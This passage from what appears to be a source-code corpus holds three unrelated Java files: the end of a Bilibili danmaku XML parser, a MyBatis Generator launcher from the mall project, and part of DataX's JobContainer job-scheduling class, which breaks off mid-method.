XMLReader xmlReader = XMLReaderFactory.createXMLReader(); XmlContentHandler contentHandler = new XmlContentHandler(); xmlReader.setContentHandler(contentHandler); xmlReader.parse(new InputSource(source.data())); return contentHandler.getResult(); } catch (SAXException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } return null; } public class XmlContentHandler extends DefaultHandler { private static final String TRUE_STRING = "true"; public Danmakus result; public BaseDanmaku item = null; public boolean completed = false; public int index = 0; public Danmakus getResult() { return result; } @Override public void startDocument() throws SAXException { result = new Danmakus(ST_BY_TIME, false, mContext.getBaseComparator()); } @Override public void endDocument() throws SAXException { completed = true; } @Override public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { String tagName = localName.length() != 0 ? localName : qName; tagName = tagName.toLowerCase(Locale.getDefault()).trim(); if (tagName.equals("d")) { // <d p="23.826000213623,1,25,16777215,1422201084,0,057075e9,757076900">我从未见过如此厚颜无耻之猴</d> // 0:时间(弹幕出现时间) // 1:类型(1从右至左滚动弹幕|6从左至右滚动弹幕|5顶端固定弹幕|4底端固定弹幕|7高级弹幕|8脚本弹幕) // 2:字号 // 3:颜色 // 4:时间戳 ? // 5:弹幕池id // 6:用户hash // 7:弹幕id String pValue = attributes.getValue("p"); // parse p value to danmaku String[] values = pValue.split(","); if (values.length > 0) { long time = (long) (parseFloat(values[0]) * 1000); // 出现时间 int type = parseInteger(values[1]); // 弹幕类型 float textSize = parseFloat(values[2]); // 字体大小 int color = (int) ((0x00000000ff000000 | parseLong(values[3])) & 0x00000000ffffffff); // 颜色 // int poolType = parseInteger(values[5]); // 弹幕池类型(忽略 item = mContext.mDanmakuFactory.createDanmaku(type, mContext); if (item != null) { item.setTime(time); item.textSize = textSize * (mDispDensity - 0.6f); item.textColor = color; item.textShadowColor = color <= Color.BLACK ? Color.WHITE : Color.BLACK; } } } } @Override public void endElement(String uri, String localName, String qName) throws SAXException { if (item != null && item.text != null) { if (item.duration != null) { String tagName = localName.length() != 0 ? localName : qName; if (tagName.equalsIgnoreCase("d")) { item.setTimer(mTimer); item.flags = mContext.mGlobalFlagValues; Object lock = result.obtainSynchronizer(); synchronized (lock) { result.addItem(item); } } } item = null; } } @Override public void characters(char[] ch, int start, int length) { if (item != null) { DanmakuUtils.fillText(item, decodeXmlString(new String(ch, start, length))); item.index = index++; // initial specail danmaku data String text = String.valueOf(item.text).trim(); if (item.getType() == BaseDanmaku.TYPE_SPECIAL && text.startsWith("[") && text.endsWith("]")) { //text = text.substring(1, text.length() - 1); String[] textArr = null;//text.split(",", -1); try { JSONArray jsonArray = new JSONArray(text); textArr = new String[jsonArray.length()]; for (int i = 0; i < textArr.length; i++) { textArr[i] = jsonArray.getString(i); } } catch (JSONException e) { e.printStackTrace(); } if (textArr == null || textArr.length < 5 || TextUtils.isEmpty(textArr[4])) { item = null; return; } DanmakuUtils.fillText(item, textArr[4]); float beginX = parseFloat(textArr[0]); float beginY = parseFloat(textArr[1]); float endX = beginX; float endY = beginY; String[] alphaArr = textArr[2].split("-"); int beginAlpha = (int) (AlphaValue.MAX * parseFloat(alphaArr[0])); int endAlpha = beginAlpha; if (alphaArr.length > 1) { endAlpha = (int) (AlphaValue.MAX * parseFloat(alphaArr[1])); } long alphaDuraion = (long) (parseFloat(textArr[3]) * 1000); long translationDuration = alphaDuraion; long translationStartDelay = 0; float rotateY = 0, rotateZ = 0; if (textArr.length >= 7) { rotateZ = parseFloat(textArr[5]); rotateY = parseFloat(textArr[6]); } if (textArr.length >= 11) { endX = parseFloat(textArr[7]); endY = parseFloat(textArr[8]); if (!"".equals(textArr[9])) { translationDuration = parseInteger(textArr[9]); } if (!"".equals(textArr[10])) { translationStartDelay = (long) (parseFloat(textArr[10])); } } if (isPercentageNumber(textArr[0])) { beginX *= DanmakuFactory.BILI_PLAYER_WIDTH; } if (isPercentageNumber(textArr[1])) { beginY *= DanmakuFactory.BILI_PLAYER_HEIGHT; } if (textArr.length >= 8 && isPercentageNumber(textArr[7])) { endX *= DanmakuFactory.BILI_PLAYER_WIDTH; } if (textArr.length >= 9 && isPercentageNumber(textArr[8])) { endY *= DanmakuFactory.BILI_PLAYER_HEIGHT; } item.duration = new Duration(alphaDuraion); item.rotationZ = rotateZ; item.rotationY = rotateY; mContext.mDanmakuFactory.fillTranslationData(item, beginX, beginY, endX, endY, translationDuration, translationStartDelay, mDispScaleX, mDispScaleY); mContext.mDanmakuFactory.fillAlphaData(item, beginAlpha, endAlpha, alphaDuraion); if (textArr.length >= 12) { // 是否有描边 if (!TextUtils.isEmpty(textArr[11]) && TRUE_STRING.equalsIgnoreCase(textArr[11])) { item.textShadowColor = Color.TRANSPARENT; } } if (textArr.length >= 13) { //TODO 字体 textArr[12] } if (textArr.length >= 14) { // Linear.easeIn or Quadratic.easeOut ((SpecialDanmaku) item).isQuadraticEaseOut = ("0".equals(textArr[13])); } if (textArr.length >= 15) { // 路径数据 if (!"".equals(textArr[14])) { String motionPathString = textArr[14].substring(1); if (!TextUtils.isEmpty(motionPathString)) { String[] pointStrArray = motionPathString.split("L"); if (pointStrArray.length > 0) { float[][] points = new float[pointStrArray.length][2]; for (int i = 0; i < pointStrArray.length; i++) { String[] pointArray = pointStrArray[i].split(","); if (pointArray.length >= 2) { points[i][0] = parseFloat(pointArray[0]); points[i][1] = parseFloat(pointArray[1]); } } mContext.mDanmakuFactory.fillLinePathData(item, points, mDispScaleX, mDispScaleY); } } } } } } } private String decodeXmlString(String title) { if (title.contains("&amp;")) { title = title.replace("&amp;", "&"); } if (title.contains("&quot;")) { title = title.replace("&quot;", "\""); } if (title.contains("&gt;")) { title = title.replace("&gt;", ">"); } if (title.contains("&lt;")) { title = title.replace("&lt;", "<"); } return title; } } private boolean isPercentageNumber(String number) { //return number >= 0f && number <= 1f; return number != null && number.contains("."); } private float parseFloat(String floatStr) { try { return Float.parseFloat(floatStr); } catch (NumberFormatException e) { return 0.0f; } } private int parseInteger(String intStr) { try { return Integer.parseInt(intStr); } catch (NumberFormatException e) { return 0; } } private long parseLong(String longStr) { try { return Long.parseLong(longStr); } catch (NumberFormatException e) { return 0; } } @Override public BaseDanmakuParser setDisplayer(IDisplayer disp) { super.setDisplayer(disp); mDispScaleX = mDispWidth / DanmakuFactory.BILI_PLAYER_WIDTH; mDispScaleY = mDispHeight / DanmakuFactory.BILI_PLAYER_HEIGHT; return this; } }
bilibili/DanmakuFlameMaster
Sample/src/main/java/com/sample/BiliDanmukuParser.java
19
package com.macro.mall; import org.mybatis.generator.api.MyBatisGenerator; import org.mybatis.generator.config.Configuration; import org.mybatis.generator.config.xml.ConfigurationParser; import org.mybatis.generator.internal.DefaultShellCallback; import java.io.InputStream; import java.util.ArrayList; import java.util.List; /** * MBG代码生成工具 * Created by macro on 2018/4/26. */ public class Generator { public static void main(String[] args) throws Exception { //MBG 执行过程中的警告信息 List<String> warnings = new ArrayList<String>(); //当生成的代码重复时,覆盖原代码 boolean overwrite = true; //读取我们的 MBG 配置文件 InputStream is = Generator.class.getResourceAsStream("/generatorConfig.xml"); ConfigurationParser cp = new ConfigurationParser(warnings); Configuration config = cp.parseConfiguration(is); is.close(); DefaultShellCallback callback = new DefaultShellCallback(overwrite); //创建 MBG MyBatisGenerator myBatisGenerator = new MyBatisGenerator(config, callback, warnings); //执行生成代码 myBatisGenerator.generate(null); //输出警告信息 for (String warning : warnings) { System.out.println(warning); } } }
macrozheng/mall
mall-mbg/src/main/java/com/macro/mall/Generator.java
20
package com.alibaba.datax.core.job; import com.alibaba.datax.common.constant.PluginType; import com.alibaba.datax.common.exception.DataXException; import com.alibaba.datax.common.plugin.AbstractJobPlugin; import com.alibaba.datax.common.plugin.JobPluginCollector; import com.alibaba.datax.common.spi.Reader; import com.alibaba.datax.common.spi.Writer; import com.alibaba.datax.common.statistics.PerfTrace; import com.alibaba.datax.common.statistics.VMInfo; import com.alibaba.datax.common.util.Configuration; import com.alibaba.datax.common.util.StrUtil; import com.alibaba.datax.core.AbstractContainer; import com.alibaba.datax.core.Engine; import com.alibaba.datax.core.container.util.HookInvoker; import com.alibaba.datax.core.container.util.JobAssignUtil; import com.alibaba.datax.core.job.scheduler.AbstractScheduler; import com.alibaba.datax.core.job.scheduler.processinner.StandAloneScheduler; import com.alibaba.datax.core.statistics.communication.Communication; import com.alibaba.datax.core.statistics.communication.CommunicationTool; import com.alibaba.datax.core.statistics.container.communicator.AbstractContainerCommunicator; import com.alibaba.datax.core.statistics.container.communicator.job.StandAloneJobContainerCommunicator; import com.alibaba.datax.core.statistics.plugin.DefaultJobPluginCollector; import com.alibaba.datax.core.util.ErrorRecordChecker; import com.alibaba.datax.core.util.FrameworkErrorCode; import com.alibaba.datax.core.util.container.ClassLoaderSwapper; import com.alibaba.datax.core.util.container.CoreConstant; import com.alibaba.datax.core.util.container.LoadUtil; import com.alibaba.datax.dataxservice.face.domain.enums.ExecuteMode; import com.alibaba.fastjson2.JSON; import org.apache.commons.lang.StringUtils; import org.apache.commons.lang.Validate; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.List; /** * Created by jingxing on 14-8-24. * <p/> * job实例运行在jobContainer容器中,它是所有任务的master,负责初始化、拆分、调度、运行、回收、监控和汇报 * 但它并不做实际的数据同步操作 */ public class JobContainer extends AbstractContainer { private static final Logger LOG = LoggerFactory .getLogger(JobContainer.class); private static final SimpleDateFormat dateFormat = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); private ClassLoaderSwapper classLoaderSwapper = ClassLoaderSwapper .newCurrentThreadClassLoaderSwapper(); private long jobId; private String readerPluginName; private String writerPluginName; /** * reader和writer jobContainer的实例 */ private Reader.Job jobReader; private Writer.Job jobWriter; private Configuration userConf; private long startTimeStamp; private long endTimeStamp; private long startTransferTimeStamp; private long endTransferTimeStamp; private int needChannelNumber; private int totalStage = 1; private ErrorRecordChecker errorLimit; public JobContainer(Configuration configuration) { super(configuration); errorLimit = new ErrorRecordChecker(configuration); } /** * jobContainer主要负责的工作全部在start()里面,包括init、prepare、split、scheduler、 * post以及destroy和statistics */ @Override public void start() { LOG.info("DataX jobContainer starts job."); boolean hasException = false; boolean isDryRun = false; try { this.startTimeStamp = System.currentTimeMillis(); isDryRun = configuration.getBool(CoreConstant.DATAX_JOB_SETTING_DRYRUN, false); if(isDryRun) { LOG.info("jobContainer starts to do preCheck ..."); this.preCheck(); } else { userConf = configuration.clone(); LOG.debug("jobContainer starts to do preHandle ..."); this.preHandle(); LOG.debug("jobContainer starts to do init ..."); this.init(); LOG.info("jobContainer starts to do prepare ..."); this.prepare(); LOG.info("jobContainer starts to do split ..."); this.totalStage = this.split(); LOG.info("jobContainer starts to do schedule ..."); this.schedule(); LOG.debug("jobContainer starts to do post ..."); this.post(); LOG.debug("jobContainer starts to do postHandle ..."); this.postHandle(); LOG.info("DataX jobId [{}] completed successfully.", this.jobId); this.invokeHooks(); } } catch (Throwable e) { LOG.error("Exception when job run", e); hasException = true; if (e instanceof OutOfMemoryError) { this.destroy(); System.gc(); } if (super.getContainerCommunicator() == null) { // 由于 containerCollector 是在 scheduler() 中初始化的,所以当在 scheduler() 之前出现异常时,需要在此处对 containerCollector 进行初始化 AbstractContainerCommunicator tempContainerCollector; // standalone tempContainerCollector = new StandAloneJobContainerCommunicator(configuration); super.setContainerCommunicator(tempContainerCollector); } Communication communication = super.getContainerCommunicator().collect(); // 汇报前的状态,不需要手动进行设置 // communication.setState(State.FAILED); communication.setThrowable(e); communication.setTimestamp(this.endTimeStamp); Communication tempComm = new Communication(); tempComm.setTimestamp(this.startTransferTimeStamp); Communication reportCommunication = CommunicationTool.getReportCommunication(communication, tempComm, this.totalStage); super.getContainerCommunicator().report(reportCommunication); throw DataXException.asDataXException( FrameworkErrorCode.RUNTIME_ERROR, e); } finally { if(!isDryRun) { this.destroy(); this.endTimeStamp = System.currentTimeMillis(); if (!hasException) { //最后打印cpu的平均消耗,GC的统计 VMInfo vmInfo = VMInfo.getVmInfo(); if (vmInfo != null) { vmInfo.getDelta(false); LOG.info(vmInfo.totalString()); } LOG.info(PerfTrace.getInstance().summarizeNoException()); this.logStatistics(); } } } } private void preCheck() { this.preCheckInit(); this.adjustChannelNumber(); if (this.needChannelNumber <= 0) { this.needChannelNumber = 1; } this.preCheckReader(); this.preCheckWriter(); LOG.info("PreCheck通过"); } private void preCheckInit() { this.jobId = this.configuration.getLong( CoreConstant.DATAX_CORE_CONTAINER_JOB_ID, -1); if (this.jobId < 0) { LOG.info("Set jobId = 0"); this.jobId = 0; this.configuration.set(CoreConstant.DATAX_CORE_CONTAINER_JOB_ID, this.jobId); } Thread.currentThread().setName("job-" + this.jobId); JobPluginCollector jobPluginCollector = new DefaultJobPluginCollector( this.getContainerCommunicator()); this.jobReader = this.preCheckReaderInit(jobPluginCollector); this.jobWriter = this.preCheckWriterInit(jobPluginCollector); } private Reader.Job preCheckReaderInit(JobPluginCollector jobPluginCollector) { this.readerPluginName = this.configuration.getString( CoreConstant.DATAX_JOB_CONTENT_READER_NAME); classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.READER, this.readerPluginName)); Reader.Job jobReader = (Reader.Job) LoadUtil.loadJobPlugin( PluginType.READER, this.readerPluginName); this.configuration.set(CoreConstant.DATAX_JOB_CONTENT_READER_PARAMETER + ".dryRun", true); // 设置reader的jobConfig jobReader.setPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_READER_PARAMETER)); // 设置reader的readerConfig jobReader.setPeerPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_READER_PARAMETER)); jobReader.setJobPluginCollector(jobPluginCollector); classLoaderSwapper.restoreCurrentThreadClassLoader(); return jobReader; } private Writer.Job preCheckWriterInit(JobPluginCollector jobPluginCollector) { this.writerPluginName = this.configuration.getString( CoreConstant.DATAX_JOB_CONTENT_WRITER_NAME); classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.WRITER, this.writerPluginName)); Writer.Job jobWriter = (Writer.Job) LoadUtil.loadJobPlugin( PluginType.WRITER, this.writerPluginName); this.configuration.set(CoreConstant.DATAX_JOB_CONTENT_WRITER_PARAMETER + ".dryRun", true); // 设置writer的jobConfig jobWriter.setPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_WRITER_PARAMETER)); // 设置reader的readerConfig jobWriter.setPeerPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_READER_PARAMETER)); jobWriter.setPeerPluginName(this.readerPluginName); jobWriter.setJobPluginCollector(jobPluginCollector); classLoaderSwapper.restoreCurrentThreadClassLoader(); return jobWriter; } private void preCheckReader() { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.READER, this.readerPluginName)); LOG.info(String.format("DataX Reader.Job [%s] do preCheck work .", this.readerPluginName)); this.jobReader.preCheck(); classLoaderSwapper.restoreCurrentThreadClassLoader(); } private void preCheckWriter() { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.WRITER, this.writerPluginName)); LOG.info(String.format("DataX Writer.Job [%s] do preCheck work .", this.writerPluginName)); this.jobWriter.preCheck(); classLoaderSwapper.restoreCurrentThreadClassLoader(); } /** * reader和writer的初始化 */ private void init() { this.jobId = this.configuration.getLong( CoreConstant.DATAX_CORE_CONTAINER_JOB_ID, -1); if (this.jobId < 0) { LOG.info("Set jobId = 0"); this.jobId = 0; this.configuration.set(CoreConstant.DATAX_CORE_CONTAINER_JOB_ID, this.jobId); } Thread.currentThread().setName("job-" + this.jobId); JobPluginCollector jobPluginCollector = new DefaultJobPluginCollector( this.getContainerCommunicator()); //必须先Reader ,后Writer this.jobReader = this.initJobReader(jobPluginCollector); this.jobWriter = this.initJobWriter(jobPluginCollector); } private void prepare() { this.prepareJobReader(); this.prepareJobWriter(); } private void preHandle() { String handlerPluginTypeStr = this.configuration.getString( CoreConstant.DATAX_JOB_PREHANDLER_PLUGINTYPE); if(!StringUtils.isNotEmpty(handlerPluginTypeStr)){ return; } PluginType handlerPluginType; try { handlerPluginType = PluginType.valueOf(handlerPluginTypeStr.toUpperCase()); } catch (IllegalArgumentException e) { throw DataXException.asDataXException( FrameworkErrorCode.CONFIG_ERROR, String.format("Job preHandler's pluginType(%s) set error, reason(%s)", handlerPluginTypeStr.toUpperCase(), e.getMessage())); } String handlerPluginName = this.configuration.getString( CoreConstant.DATAX_JOB_PREHANDLER_PLUGINNAME); classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( handlerPluginType, handlerPluginName)); AbstractJobPlugin handler = LoadUtil.loadJobPlugin( handlerPluginType, handlerPluginName); JobPluginCollector jobPluginCollector = new DefaultJobPluginCollector( this.getContainerCommunicator()); handler.setJobPluginCollector(jobPluginCollector); //todo configuration的安全性,将来必须保证 handler.preHandler(configuration); classLoaderSwapper.restoreCurrentThreadClassLoader(); LOG.info("After PreHandler: \n" + Engine.filterJobConfiguration(configuration) + "\n"); } private void postHandle() { String handlerPluginTypeStr = this.configuration.getString( CoreConstant.DATAX_JOB_POSTHANDLER_PLUGINTYPE); if(!StringUtils.isNotEmpty(handlerPluginTypeStr)){ return; } PluginType handlerPluginType; try { handlerPluginType = PluginType.valueOf(handlerPluginTypeStr.toUpperCase()); } catch (IllegalArgumentException e) { throw DataXException.asDataXException( FrameworkErrorCode.CONFIG_ERROR, String.format("Job postHandler's pluginType(%s) set error, reason(%s)", handlerPluginTypeStr.toUpperCase(), e.getMessage())); } String handlerPluginName = this.configuration.getString( CoreConstant.DATAX_JOB_POSTHANDLER_PLUGINNAME); classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( handlerPluginType, handlerPluginName)); AbstractJobPlugin handler = LoadUtil.loadJobPlugin( handlerPluginType, handlerPluginName); JobPluginCollector jobPluginCollector = new DefaultJobPluginCollector( this.getContainerCommunicator()); handler.setJobPluginCollector(jobPluginCollector); handler.postHandler(configuration); classLoaderSwapper.restoreCurrentThreadClassLoader(); } /** * 执行reader和writer最细粒度的切分,需要注意的是,writer的切分结果要参照reader的切分结果, * 达到切分后数目相等,才能满足1:1的通道模型,所以这里可以将reader和writer的配置整合到一起, * 然后,为避免顺序给读写端带来长尾影响,将整合的结果shuffler掉 */ private int split() { this.adjustChannelNumber(); if (this.needChannelNumber <= 0) { this.needChannelNumber = 1; } List<Configuration> readerTaskConfigs = this .doReaderSplit(this.needChannelNumber); int taskNumber = readerTaskConfigs.size(); List<Configuration> writerTaskConfigs = this .doWriterSplit(taskNumber); List<Configuration> transformerList = this.configuration.getListConfiguration(CoreConstant.DATAX_JOB_CONTENT_TRANSFORMER); LOG.debug("transformer configuration: "+ JSON.toJSONString(transformerList)); /** * 输入是reader和writer的parameter list,输出是content下面元素的list */ List<Configuration> contentConfig = mergeReaderAndWriterTaskConfigs( readerTaskConfigs, writerTaskConfigs, transformerList); LOG.debug("contentConfig configuration: "+ JSON.toJSONString(contentConfig)); this.configuration.set(CoreConstant.DATAX_JOB_CONTENT, contentConfig); return contentConfig.size(); } private void adjustChannelNumber() { int needChannelNumberByByte = Integer.MAX_VALUE; int needChannelNumberByRecord = Integer.MAX_VALUE; boolean isByteLimit = (this.configuration.getInt( CoreConstant.DATAX_JOB_SETTING_SPEED_BYTE, 0) > 0); if (isByteLimit) { long globalLimitedByteSpeed = this.configuration.getInt( CoreConstant.DATAX_JOB_SETTING_SPEED_BYTE, 10 * 1024 * 1024); // 在byte流控情况下,单个Channel流量最大值必须设置,否则报错! Long channelLimitedByteSpeed = this.configuration .getLong(CoreConstant.DATAX_CORE_TRANSPORT_CHANNEL_SPEED_BYTE); if (channelLimitedByteSpeed == null || channelLimitedByteSpeed <= 0) { throw DataXException.asDataXException( FrameworkErrorCode.CONFIG_ERROR, "在有总bps限速条件下,单个channel的bps值不能为空,也不能为非正数"); } needChannelNumberByByte = (int) (globalLimitedByteSpeed / channelLimitedByteSpeed); needChannelNumberByByte = needChannelNumberByByte > 0 ? needChannelNumberByByte : 1; LOG.info("Job set Max-Byte-Speed to " + globalLimitedByteSpeed + " bytes."); } boolean isRecordLimit = (this.configuration.getInt( CoreConstant.DATAX_JOB_SETTING_SPEED_RECORD, 0)) > 0; if (isRecordLimit) { long globalLimitedRecordSpeed = this.configuration.getInt( CoreConstant.DATAX_JOB_SETTING_SPEED_RECORD, 100000); Long channelLimitedRecordSpeed = this.configuration.getLong( CoreConstant.DATAX_CORE_TRANSPORT_CHANNEL_SPEED_RECORD); if (channelLimitedRecordSpeed == null || channelLimitedRecordSpeed <= 0) { throw DataXException.asDataXException(FrameworkErrorCode.CONFIG_ERROR, "在有总tps限速条件下,单个channel的tps值不能为空,也不能为非正数"); } needChannelNumberByRecord = (int) (globalLimitedRecordSpeed / channelLimitedRecordSpeed); needChannelNumberByRecord = needChannelNumberByRecord > 0 ? needChannelNumberByRecord : 1; LOG.info("Job set Max-Record-Speed to " + globalLimitedRecordSpeed + " records."); } // 取较小值 this.needChannelNumber = needChannelNumberByByte < needChannelNumberByRecord ? needChannelNumberByByte : needChannelNumberByRecord; // 如果从byte或record上设置了needChannelNumber则退出 if (this.needChannelNumber < Integer.MAX_VALUE) { return; } boolean isChannelLimit = (this.configuration.getInt( CoreConstant.DATAX_JOB_SETTING_SPEED_CHANNEL, 0) > 0); if (isChannelLimit) { this.needChannelNumber = this.configuration.getInt( CoreConstant.DATAX_JOB_SETTING_SPEED_CHANNEL); LOG.info("Job set Channel-Number to " + this.needChannelNumber + " channels."); return; } throw DataXException.asDataXException( FrameworkErrorCode.CONFIG_ERROR, "Job运行速度必须设置"); } /** * schedule首先完成的工作是把上一步reader和writer split的结果整合到具体taskGroupContainer中, * 同时不同的执行模式调用不同的调度策略,将所有任务调度起来 */ private void schedule() { /** * 这里的全局speed和每个channel的速度设置为B/s */ int channelsPerTaskGroup = this.configuration.getInt( CoreConstant.DATAX_CORE_CONTAINER_TASKGROUP_CHANNEL, 5); int taskNumber = this.configuration.getList( CoreConstant.DATAX_JOB_CONTENT).size(); this.needChannelNumber = Math.min(this.needChannelNumber, taskNumber); PerfTrace.getInstance().setChannelNumber(needChannelNumber); /** * 通过获取配置信息得到每个taskGroup需要运行哪些tasks任务 */ List<Configuration> taskGroupConfigs = JobAssignUtil.assignFairly(this.configuration, this.needChannelNumber, channelsPerTaskGroup); LOG.info("Scheduler starts [{}] taskGroups.", taskGroupConfigs.size()); ExecuteMode executeMode = null; AbstractScheduler scheduler; try { executeMode = ExecuteMode.STANDALONE; scheduler = initStandaloneScheduler(this.configuration); //设置 executeMode for (Configuration taskGroupConfig : taskGroupConfigs) { taskGroupConfig.set(CoreConstant.DATAX_CORE_CONTAINER_JOB_MODE, executeMode.getValue()); } if (executeMode == ExecuteMode.LOCAL || executeMode == ExecuteMode.DISTRIBUTE) { if (this.jobId <= 0) { throw DataXException.asDataXException(FrameworkErrorCode.RUNTIME_ERROR, "在[ local | distribute ]模式下必须设置jobId,并且其值 > 0 ."); } } LOG.info("Running by {} Mode.", executeMode); this.startTransferTimeStamp = System.currentTimeMillis(); scheduler.schedule(taskGroupConfigs); this.endTransferTimeStamp = System.currentTimeMillis(); } catch (Exception e) { LOG.error("运行scheduler 模式[{}]出错.", executeMode); this.endTransferTimeStamp = System.currentTimeMillis(); throw DataXException.asDataXException( FrameworkErrorCode.RUNTIME_ERROR, e); } /** * 检查任务执行情况 */ this.checkLimit(); } private AbstractScheduler initStandaloneScheduler(Configuration configuration) { AbstractContainerCommunicator containerCommunicator = new StandAloneJobContainerCommunicator(configuration); super.setContainerCommunicator(containerCommunicator); return new StandAloneScheduler(containerCommunicator); } private void post() { this.postJobWriter(); this.postJobReader(); } private void destroy() { if (this.jobWriter != null) { this.jobWriter.destroy(); this.jobWriter = null; } if (this.jobReader != null) { this.jobReader.destroy(); this.jobReader = null; } } private void logStatistics() { long totalCosts = (this.endTimeStamp - this.startTimeStamp) / 1000; long transferCosts = (this.endTransferTimeStamp - this.startTransferTimeStamp) / 1000; if (0L == transferCosts) { transferCosts = 1L; } if (super.getContainerCommunicator() == null) { return; } Communication communication = super.getContainerCommunicator().collect(); communication.setTimestamp(this.endTimeStamp); Communication tempComm = new Communication(); tempComm.setTimestamp(this.startTransferTimeStamp); Communication reportCommunication = CommunicationTool.getReportCommunication(communication, tempComm, this.totalStage); // 字节速率 long byteSpeedPerSecond = communication.getLongCounter(CommunicationTool.READ_SUCCEED_BYTES) / transferCosts; long recordSpeedPerSecond = communication.getLongCounter(CommunicationTool.READ_SUCCEED_RECORDS) / transferCosts; reportCommunication.setLongCounter(CommunicationTool.BYTE_SPEED, byteSpeedPerSecond); reportCommunication.setLongCounter(CommunicationTool.RECORD_SPEED, recordSpeedPerSecond); super.getContainerCommunicator().report(reportCommunication); LOG.info(String.format( "\n" + "%-26s: %-18s\n" + "%-26s: %-18s\n" + "%-26s: %19s\n" + "%-26s: %19s\n" + "%-26s: %19s\n" + "%-26s: %19s\n" + "%-26s: %19s\n", "任务启动时刻", dateFormat.format(startTimeStamp), "任务结束时刻", dateFormat.format(endTimeStamp), "任务总计耗时", String.valueOf(totalCosts) + "s", "任务平均流量", StrUtil.stringify(byteSpeedPerSecond) + "/s", "记录写入速度", String.valueOf(recordSpeedPerSecond) + "rec/s", "读出记录总数", String.valueOf(CommunicationTool.getTotalReadRecords(communication)), "读写失败总数", String.valueOf(CommunicationTool.getTotalErrorRecords(communication)) )); if (communication.getLongCounter(CommunicationTool.TRANSFORMER_SUCCEED_RECORDS) > 0 || communication.getLongCounter(CommunicationTool.TRANSFORMER_FAILED_RECORDS) > 0 || communication.getLongCounter(CommunicationTool.TRANSFORMER_FILTER_RECORDS) > 0) { LOG.info(String.format( "\n" + "%-26s: %19s\n" + "%-26s: %19s\n" + "%-26s: %19s\n", "Transformer成功记录总数", communication.getLongCounter(CommunicationTool.TRANSFORMER_SUCCEED_RECORDS), "Transformer失败记录总数", communication.getLongCounter(CommunicationTool.TRANSFORMER_FAILED_RECORDS), "Transformer过滤记录总数", communication.getLongCounter(CommunicationTool.TRANSFORMER_FILTER_RECORDS) )); } } /** * reader job的初始化,返回Reader.Job * * @return */ private Reader.Job initJobReader( JobPluginCollector jobPluginCollector) { this.readerPluginName = this.configuration.getString( CoreConstant.DATAX_JOB_CONTENT_READER_NAME); classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.READER, this.readerPluginName)); Reader.Job jobReader = (Reader.Job) LoadUtil.loadJobPlugin( PluginType.READER, this.readerPluginName); // 设置reader的jobConfig jobReader.setPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_READER_PARAMETER)); // 设置reader的readerConfig jobReader.setPeerPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_WRITER_PARAMETER)); jobReader.setJobPluginCollector(jobPluginCollector); jobReader.init(); classLoaderSwapper.restoreCurrentThreadClassLoader(); return jobReader; } /** * writer job的初始化,返回Writer.Job * * @return */ private Writer.Job initJobWriter( JobPluginCollector jobPluginCollector) { this.writerPluginName = this.configuration.getString( CoreConstant.DATAX_JOB_CONTENT_WRITER_NAME); classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.WRITER, this.writerPluginName)); Writer.Job jobWriter = (Writer.Job) LoadUtil.loadJobPlugin( PluginType.WRITER, this.writerPluginName); // 设置writer的jobConfig jobWriter.setPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_WRITER_PARAMETER)); // 设置reader的readerConfig jobWriter.setPeerPluginJobConf(this.configuration.getConfiguration( CoreConstant.DATAX_JOB_CONTENT_READER_PARAMETER)); jobWriter.setPeerPluginName(this.readerPluginName); jobWriter.setJobPluginCollector(jobPluginCollector); jobWriter.init(); classLoaderSwapper.restoreCurrentThreadClassLoader(); return jobWriter; } private void prepareJobReader() { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.READER, this.readerPluginName)); LOG.info(String.format("DataX Reader.Job [%s] do prepare work .", this.readerPluginName)); this.jobReader.prepare(); classLoaderSwapper.restoreCurrentThreadClassLoader(); } private void prepareJobWriter() { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.WRITER, this.writerPluginName)); LOG.info(String.format("DataX Writer.Job [%s] do prepare work .", this.writerPluginName)); this.jobWriter.prepare(); classLoaderSwapper.restoreCurrentThreadClassLoader(); } // TODO: 如果源头就是空数据 private List<Configuration> doReaderSplit(int adviceNumber) { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.READER, this.readerPluginName)); List<Configuration> readerSlicesConfigs = this.jobReader.split(adviceNumber); if (readerSlicesConfigs == null || readerSlicesConfigs.size() <= 0) { throw DataXException.asDataXException( FrameworkErrorCode.PLUGIN_SPLIT_ERROR, "reader切分的task数目不能小于等于0"); } LOG.info("DataX Reader.Job [{}] splits to [{}] tasks.", this.readerPluginName, readerSlicesConfigs.size()); classLoaderSwapper.restoreCurrentThreadClassLoader(); return readerSlicesConfigs; } private List<Configuration> doWriterSplit(int readerTaskNumber) { classLoaderSwapper.setCurrentThreadClassLoader(LoadUtil.getJarLoader( PluginType.WRITER, this.writerPluginName)); List<Configuration> writerSlicesConfigs = this.jobWriter .split(readerTaskNumber); if (writerSlicesConfigs == null || writerSlicesConfigs.size() <= 0) { throw DataXException.asDataXException( FrameworkErrorCode.PLUGIN_SPLIT_ERROR, "writer切分的task不能小于等于0"); } LOG.info("DataX Writer.Job [{}] splits to [{}] tasks.", this.writerPluginName, writerSlicesConfigs.size()); 